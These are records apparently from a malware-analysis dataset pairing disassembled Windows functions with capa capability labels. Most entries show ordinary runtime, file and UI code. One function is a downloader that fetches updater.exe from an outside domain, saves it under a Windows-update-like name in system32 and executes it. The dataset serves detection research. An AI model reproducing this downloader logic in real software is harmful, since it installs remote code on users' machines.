joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401270
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
mov esi, ecx
mov ecx, dword [esp + 0x10]
lea edi, [esi + 0x14]
push edi
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4012cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x4012cb
mov ecx, dword [esi + 0x24]
push 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4012cb
push eax
mov eax, dword [esi]
lea edx, [esp + 0x14]
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov ecx, dword [esp + 0x10]
add dword [esi + 0x1c], ecx
pop edi
mov eax, 1
pop esi
ret 8

Function at 0x401310
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x30
mov eax, dword [0x44f5b4]
xor eax, esp
mov dword [esp + 0x2c], eax
push esi
mov esi, ecx
mov al, byte [esi + 4]
cmp al, 0x10
push edi
jbe 0x40133b
push str..TELNET
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x401352
movzx ecx, al
push ecx
lea edx, [esp + 0x28]
push str.COM_d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor edi, edi
push edi
push 0x40000080
push 3
push edi
push edi
push 0xc0000000
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x401388
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.00424801
add esp, 0x30
ret
push ebp
push 1
push eax
call dword [sym.imp.KERNEL32.dll_SetCommMask]
mov ecx, dword [esi]
push 0x800
push 0x800
push ecx
call dword [sym.imp.KERNEL32.dll_SetupComm]
mov edx, dword [esi]
push 0xf
push edx
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov ecx, dword [esi]
lea eax, [esp + 0x14]
push eax
push ecx
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], 0x1388
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
mov ecx, esi
call fcn.00401080
mov ebp, eax
cmp ebp, edi
je 0x40144b
mov ecx, dword [esi]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea edi, [esi + 0x28]
push edi
lea edx, [esp + 0x18]
push edx
push 1
lea eax, [esp + 0x1f]
push eax
push ecx
call ebx
test eax, eax
je 0x401424
cmp dword [esp + 0x14], 0
je 0x401424
mov ecx, dword [esi]
push edi
lea edx, [esp + 0x18]
push edx
push 1
lea eax, [esp + 0x1f]
push eax
push ecx
call ebx
test eax, eax
jne 0x401407
mov edx, dword [esi]
push 5
push edx
mov dword [esi + 8], 1
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
pop ebx
mov eax, ebp
pop ebp
pop edi
pop esi
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.00424801
add esp, 0x30
ret
mov eax, dword [esi]
push eax
mov dword [esi + 8], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x38]
mov eax, ebp
pop ebp
pop edi
pop esi
xor ecx, esp
call fcn.00424801
add esp, 0x30
ret
Function at 0x4016c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
mov dword [esp + 0x10], ecx
xor esi, esi
call ebp
mov ebx, dword [esp + 0x1c]
test ebx, ebx
mov edi, eax
jbe 0x401725
lea ecx, [ecx]
mov ecx, dword [esp + 0x18]
mov eax, ebx
lea edx, [esi + ecx]
mov ecx, dword [esp + 0x10]
sub eax, esi
push eax
push edx
add ecx, 0xd4
call fcn.004011a0
add esi, eax
call ebp
cmp eax, edi
jbe 0x40170a
sub eax, edi
mov ecx, eax
jmp 0x40170e
mov ecx, edi
sub ecx, eax
cmp ecx, dword [esp + 0x20]
ja 0x401732
mov eax, dword [esp + 0x10]
cmp dword [eax + 0xdc], 0
je 0x401732
cmp esi, ebx
jb 0x4016e0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 0xc

Function at 0x4035b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4035c9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403604
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x403600
lea ebx, [ebx]
cmp esi, eax
jae 0x403604
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4035f0
cmp esi, eax
jb 0x40360a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x40c347
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40c380
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0040899d
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00403730
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]

Function at 0x40fb10
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x40fb19
xor eax, eax
jmp 0x40fb82
cmp dword [esp + 8], 0
jne 0x40fb25
call fcn.0040f702
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.004291db
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x40fb60
push dword [esi + 0x10]
call fcn.00428ee1
test eax, eax
pop ecx
jne 0x40fb60
mov esi, dword [esi + 0xc]
call fcn.00426f75
push esi
push dword [eax]
push 1
call fcn.00418a57
push dword [esi + 0x10]
call fcn.00428f10
test eax, eax
pop ecx
je 0x40fb7f
push dword [esi + 0x10]
call fcn.00428e35
push eax
call fcn.004034f0
pop ecx
pop ecx
jmp 0x40fb4e
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x40fb8b
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x40fb95
call fcn.0040f702
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.00429355
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x40fbc2
mov esi, dword [esi + 0xc]
call fcn.00426f75
push esi
push dword [eax]
push 1
call fcn.00418a57
pop esi
ret 8

Function at 0x41053d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x44f5b4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0x800
push ebx
push esi
mov esi, ecx
mov ebx, edx
lea eax, [ebp - 0x11c]
jne 0x41057d
push 0x4409d0
push 4
push eax
call fcn.00429ea8
push eax
call fcn.004034f0
add esp, 0x10
jmp 0x41058f
push 4
push eax
push 3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x4105fd
push edi
call fcn.00426f62
mov edi, dword [eax]
call fcn.00426f62
and dword [eax], 0
lea eax, [ebp - 0x11c]
push eax
push ebx
push esi
push 0x111
mov esi, 0x112
lea eax, [ebp - 0x118]
push esi
push eax
call fcn.00426f08
add esp, 0x18
mov ebx, eax
call fcn.00426f62
cmp dword [eax], 0
je 0x4105dd
call fcn.00426f62
push dword [eax]
call fcn.00408bff
pop ecx
jmp 0x4105e4
call fcn.00426f62
mov dword [eax], edi
cmp ebx, 0xffffffff
pop edi
je 0x4105fd
cmp ebx, esi
jae 0x4105fd
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x4105ff
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00424801
leave
ret
Function at 0x416a6b
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x416a99
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x416ab7
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004169d5
jmp 0x416ab7
mov eax, dword [esi + 0x14]
test eax, eax
je 0x416ab7
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.004169d5
test edi, edi
mov eax, edi
jne 0x416aa1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x452674]
test ecx, ecx
je 0x416b7a
jmp 0x416a6a
ret 8

Function at 0x424801
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44f5b4]
jne 0x42480b
repz ret
jmp fcn.0042af72
Function at 0x428f3f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x428f7c
cmp dword [ebp + 0x14], edi
je 0x428f7c
cmp ecx, edi
jne 0x428f83
call fcn.00426f62
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.0042d2b1
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x428f97
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x428fb8
cmp ebx, 0xffffffff
je 0x428fa7
push ebx
push edi
push ecx
call fcn.00425c50
add esp, 0xc
cmp esi, edi
je 0x428f64
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x428f64
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x428fd4
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x428fdb
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x4290cc
test word [esi + 0xc], 0x10c
je 0x42902f
mov eax, dword [esi + 4]
test eax, eax
je 0x42902f
jl 0x42912d
cmp ebx, eax
mov edi, ebx
jb 0x429000
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x4290d4
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00425322
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x4290c4
cmp ebx, dword [ebp - 0xc]
jb 0x42909c
cmp dword [ebp - 0xc], 0
je 0x429059
mov ecx, SysReAllocString
xor edx, edx
cmp ebx, ecx
jbe 0x42904e
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x429055
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x429064
mov eax, SysReAllocString
cmp ebx, eax
ja 0x429064
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x429100
push eax
push dword [ebp - 8]
push esi
call fcn.00428b94
pop ecx
push eax
call fcn.004339f4
add esp, 0xc
test eax, eax
je 0x42913f
cmp eax, 0xffffffff
je 0x42912d
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x4290c4
push esi
call fcn.00433313
cmp eax, 0xffffffff
pop ecx
je 0x429131
cmp dword [ebp - 4], 0
je 0x429100
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x428fe3
mov eax, dword [ebp + 0x14]
jmp 0x428f7e
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x4290eb
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.00425c50
add esp, 0xc
call fcn.00426f62
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x428f74
cmp dword [ebp + 0xc], 0xffffffff
je 0x429116
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00425c50
add esp, 0xc
call fcn.00426f62
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x428f74
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x428f7e
or dword [esi + 0xc], 0x10
jmp 0x429131
Function at 0x431c91
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x44ff28]
je 0x431cac
inc edi
cmp edi, 0x17
jb 0x431c9d
cmp edi, 0x17
jae 0x431e2c
push ebp
push 3
call fcn.004370bb
cmp eax, 1
pop ecx
je 0x431df8
push 3
call fcn.004370bb
test eax, eax
pop ecx
jne 0x431ce0
cmp dword [0x44f5e0], 1
je 0x431df8
cmp ebx, 0xfc
je 0x431e2b
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x452e60
push ebp
call fcn.00429ea8
add esp, 0xc
test eax, eax
je 0x431d16
push esi
push esi
push esi
push esi
push esi
call fcn.0042d1b5
add esp, 0x14
push 0x104
mov esi, 0x452e79
push esi
push 0
mov byte [0x452f7d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x431d5a
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00429ea8
add esp, 0xc
test eax, eax
je 0x431d5a
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0042d1b5
add esp, 0x14
push esi
call fcn.00426ce0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x431d9f
push esi
call fcn.00426ce0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x453174
push 0x442e6c
sub ecx, eax
push ecx
push eax
call fcn.00426dc5
add esp, 0x14
test eax, eax
je 0x431d9f
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0042d1b5
add esp, 0x14
jmp 0x431da1
xor esi, esi
push 0x442e68
push ebx
push ebp
call fcn.00429f0d
add esp, 0xc
test eax, eax
je 0x431dc1
push esi
push esi
push esi
push esi
push esi
call fcn.0042d1b5
add esp, 0x14
push dword [edi*8 + 0x44ff2c]
push ebx
push ebp
call fcn.00429f0d
add esp, 0xc
test eax, eax
je 0x431de3
push esi
push esi
push esi
push esi
push esi
call fcn.0042d1b5
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00436efe
add esp, 0xc
jmp 0x431e2b
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x431e2b
cmp ebp, 0xffffffff
je 0x431e2b
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x44ff2c]
push dword [esi]
call fcn.00426ce0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x436efe
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042bdda
xor ebx, ebx
cmp dword [0x4533c4], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x436fd4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4370b4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44400c
push edi
call esi
cmp eax, ebx
je 0x4370b4
push eax
call fcn.0042bd6c
mov dword [esp], 0x443ffc
push edi
mov dword [0x4533c4], eax
call esi
push eax
call fcn.0042bd6c
mov dword [esp], 0x443fe8
push edi
mov dword [0x4533c8], eax
call esi
push eax
call fcn.0042bd6c
mov dword [0x4533cc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00429c35
test eax, eax
pop ecx
pop ecx
je 0x436fa2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042d1b5
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x436fd4
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0042bd6c
cmp eax, ebx
pop ecx
mov dword [0x4533d4], eax
je 0x436fd4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042bd6c
pop ecx
mov dword [0x4533d0], eax
mov eax, dword [0x4533d0]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x437059
cmp dword [0x4533d4], ecx
je 0x437059
push eax
call fcn.0042bde3
push dword [0x4533d4]
mov esi, eax
call fcn.0042bde3
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x437059
cmp edi, ebx
je 0x437059
call esi
cmp eax, ebx
je 0x437026
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x437026
test byte [ebp - 0x18], 1
jne 0x437059
lea eax, [ebp - 0x10]
push eax
call fcn.00429c6c
test eax, eax
pop ecx
je 0x437041
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042d1b5
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x437050
or dword [ebp + 0x10], 0x200000
jmp 0x437094
or dword [ebp + 0x10], 0x40000
jmp 0x437094
mov eax, dword [0x4533c8]
cmp eax, dword [ebp - 8]
je 0x437094
push eax
call fcn.0042bde3
cmp eax, ebx
pop ecx
je 0x437094
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x437094
mov eax, dword [0x4533cc]
cmp eax, dword [ebp - 8]
je 0x437094
push eax
call fcn.0042bde3
cmp eax, ebx
pop ecx
je 0x437094
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4533c4]
call fcn.0042bde3
cmp eax, ebx
pop ecx
je 0x4370b4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4370b6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43a5ac
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x44f5b4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0043a541
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00425c50
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x43a5fb
cmp dword [ebp - 0x1c], 5
jb 0x43a613
jmp 0x43a60f
cmp dword [ebp - 0x10], 1
jne 0x43a613
cmp dword [ebp - 0x1c], 4
ja 0x43a60f
jne 0x43a613
cmp dword [ebp - 0x18], 0
jbe 0x43a613
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x444890
call fcn.0043a432
test eax, eax
jge 0x43a634
mov byte [0x450ae4], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00424801
add ebp, 0x78
leave
ret
Function at 0x401000
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push edi
mov byte [ebp - 0x220], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x21f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x110], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x330], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x32f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x440], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x43f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov dword [ebp - 0x444], 0
lea eax, [ebp - 0x220]
push eax
push 0x10e
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.msq32.exe
lea ecx, [ebp - 0x220]
push ecx
push 0x40301c
push 0x10e
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 5
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x10e
lea ecx, [ebp - 0x330]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str._system32wupdmgrd.exe
lea edx, [ebp - 0x330]
push edx
push str._s_s
push 0x10e
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 0
push 0
lea ecx, [ebp - 0x440]
push ecx
push str.http:__www.xcnjwejoudbkboibozgsdpaz.com_updater.exe
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0
jne 0x401124
push 0
lea edx, [ebp - 0x440]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401132
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402058
push 0x401270
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403090], 0xffffffff
or dword [0x403094], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x40308c]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403088]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403098], eax
call fcn.00401263
cmp dword [0x403078], 0
jne 0x4011b5
push 0x401260
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0040124e
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403084]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403080]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401000
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x41b805
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
push eax
call fcn.004ad5d0
mov dword [esp], 0xc8
mov dword [esp + 4], 0x96
push 0
call fcn.004985e9
mov ebx, eax
push 0
call fcn.00498900
mov edi, eax
mov eax, edi
mov ecx, 2
cdq
idiv ecx
mov edi, eax
add ebx, edi
mov edi, dword [esp]
mov eax, edi
mov ecx, 2
cdq
idiv ecx
mov edi, eax
sub ebx, edi
mov dword [esp + 8], ebx
push 0
call fcn.00498658
mov ebx, eax
push 0
call fcn.0049897d
mov edi, eax
mov eax, edi
mov ecx, 2
cdq
idiv ecx
mov edi, eax
add ebx, edi
mov edi, dword [esp + 4]
mov eax, edi
mov ecx, 2
cdq
idiv ecx
mov edi, eax
sub ebx, edi
mov dword [esp + 0xc], ebx
push 0x80000004
push dword [0x136853c]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push 0x60
call fcn.00498034
push 0xb
push 0x67
call fcn.004a6596
push eax
push 0x1a
push 0xaa
push 0xf
push 0xf
push 0x63
call fcn.004925e4
push 0xb
push 0x65
call fcn.004a6596
push eax
push 0x1a
push 0xaa
push 0x2d
push 0xf
push 0x61
call fcn.004925e4
push 0xb
push 0x66
call fcn.004a6596
push eax
push 0x1a
push 0xaa
push 0x4b
push 0xf
push 0x62
call fcn.004925e4
push dword [0x1368688]
push 0x14
push 0xaa
push 0x78
push 0xf
push 0x64
call fcn.0048fe4a
call fcn.00440031
call fcn.0049802c
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x1c], 0
je 0x41ba16
call fcn.0049ba95
push eax
mov ebx, 0x60
cmp ebx, dword [esp]
jne 0x41ba13
push dword [esp + 0x20]
mov ebx, 0x332c
cmp ebx, dword [esp]
jne 0x41ba12
call fcn.0049ba86
push eax
mov ebx, 0x63
cmp ebx, dword [esp]
jne 0x41b9c7
mov eax, 0x53e21c
push eax
call fcn.0046e952
add esp, 0xc
jmp 0x41ba6d
mov ebx, 0x61
cmp ebx, dword [esp]
jne 0x41b9e6
mov eax, 0x53e21c
push eax
call fcn.0046e952
add esp, 0xc
jmp 0x41ba6d
mov ebx, 0x62
cmp ebx, dword [esp]
jne 0x41ba02
mov eax, 0x53e21c
push eax
call fcn.0046e952
add esp, 0xc
jmp 0x41ba6d
mov ebx, 0x64
cmp ebx, dword [esp]
jne 0x41ba11
add esp, 0xc
jmp 0x41ba6d
pop eax
pop eax
pop eax
jmp 0x41ba20
push 0x60
call fcn.0049800e
push 0x1b
call sub.USER32.dll_GetKeyState
mov ebx, eax
cmp ebx, 1
jle 0x41ba44
call fcn.0049898b
mov ebx, eax
cmp ebx, 0x60
jne 0x41ba44
call fcn.00440031
jmp 0x41ba6d
push 0xd
call sub.USER32.dll_GetKeyState
mov ebx, eax
cmp ebx, 1
jle 0x41ba68
call fcn.0049898b
mov ebx, eax
cmp ebx, 0x60
jne 0x41ba68
call fcn.00440031
jmp 0x41ba6d
jmp 0x41b970
push 0x60
call fcn.00497dbe
xor eax, eax
add esp, 0x10
pop edi
pop ebx
ret 4
Function at 0x44af7e
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
xor eax, eax
push eax
push eax
call fcn.004ad5d0
mov dword [esp], 0
jmp 0x44af91
mov eax, dword [esp + 0x10]
cmp eax, dword [esp]
jl 0x44b04a
push 0
call fcn.00497eef
and eax, eax
je 0x44b041
mov dword [esp + 4], 0xffffffff
call fcn.00451041
mov dword [esp + 4], eax
mov ebx, dword [esp + 4]
and ebx, ebx
jle 0x44b010
call fcn.0049ba95
push eax
mov ebx, dword [0x13686a8]
cmp ebx, dword [esp]
jne 0x44afeb
push dword [esp + 8]
call fcn.00449af5
mov ebx, eax
and ebx, ebx
jne 0x44afe9
jmp 0x44b00d
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x44b003
push dword [esp + 8]
call fcn.0043c97f
mov ebx, eax
and ebx, ebx
jne 0x44b001
jmp 0x44b00d
push 3
call fcn.00497bd3
pop eax
jmp 0x44b01a
push 5
call fcn.00497bd3
push 0x1b
call sub.USER32.dll_GetKeyState
mov ebx, eax
cmp ebx, 1
jle 0x44b037
mov dword [0x1368658], 1
jmp 0x44b041
mov dword [0x1368658], 0
inc dword [esp]
jno 0x44af91
xor eax, eax
add esp, 8
pop ebx
ret 4